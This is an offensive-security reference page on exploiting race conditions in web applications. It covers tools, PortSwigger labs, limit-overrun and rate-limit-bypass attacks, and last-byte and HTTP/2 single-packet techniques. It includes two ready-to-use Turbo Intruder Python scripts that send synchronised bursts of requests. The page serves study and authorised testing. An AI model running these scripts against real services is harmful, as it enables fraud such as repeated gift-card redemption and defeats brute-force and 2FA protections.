Race Condition
Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
Summary
Tools
- PortSwigger/turbo-intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
- JavanXD/Raceocat - Make exploiting race conditions in web applications highly efficient and ease-of-use.
Labs
- PortSwigger - Limit overrun race conditions
- PortSwigger - Multi-endpoint race conditions
- PortSwigger - Bypassing rate limits via race conditions
- PortSwigger - Multi-endpoint race conditions
- PortSwigger - Single-endpoint race conditions
- PortSwigger - Exploiting time-sensitive vulnerabilities
- PortSwigger - Partial construction race conditions
Exploit
Limit-overrun
Overdrawing limit, multiple voting, multiple spending of a gifcard.
Examples:
- Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4
- Race conditions can be used to bypass invitation limit - @franjkovic
- Register multiple users using one invitation - @franjkovic
Rate-limit bypass
Bypassing anti-bruteforce mechanism and 2FA.
Examples:
Techniques
HTTP/1.1 last-byte synchronization
Send every requests execpt the last byte, then "release" each request by sending the last byte.
Execute a last-byte synchronization using Turbo Intruder
Examples:
HTTP/2 Single-packet attack
In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
- turbo-intruder/race-single-packet-attack.py
- Burp Suite
- Send a request to Repeater
- Duplicate the request 20 times (CTRL+R)
- Create a new group and add all the requests
- Send group in parallel (single-packet attack)
Examples:
Turbo Intruder
Example 1
- Send request to turbo intruder
- Use this python code as a payload of the turbo intruder
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=30, pipeline=False ) for i in range(30): engine.queue(target.req, i) engine.queue(target.req, target.baseInput, gate='race1') engine.start(timeout=5) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)
- Now set the external HTTP header x-request: %s - This is needed by the turbo intruder
- Click "Attack"
Example 2
This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
parameterName=parameterValue
'''
request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
'''
engine.queue(request1, gate='race1')
for i in range(30):
engine.queue(request2, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
References
- DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle
- Smashing the state machine: the true potential of web race conditions - James Kettle / @albinowax - 09 August 2023
- Turbo Intruder: Embracing the billion-request attack - James Kettle - 25 January 2019
- Race Condition Bug In Web App: A Use Case - Mandeep Jadon - Apr 24, 2018
- Race conditions on the web - Josip Franjkovic - July 12th, 2016
- New techniques and tools for web race conditions - Emma Stocks - 10 August 2023
- Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat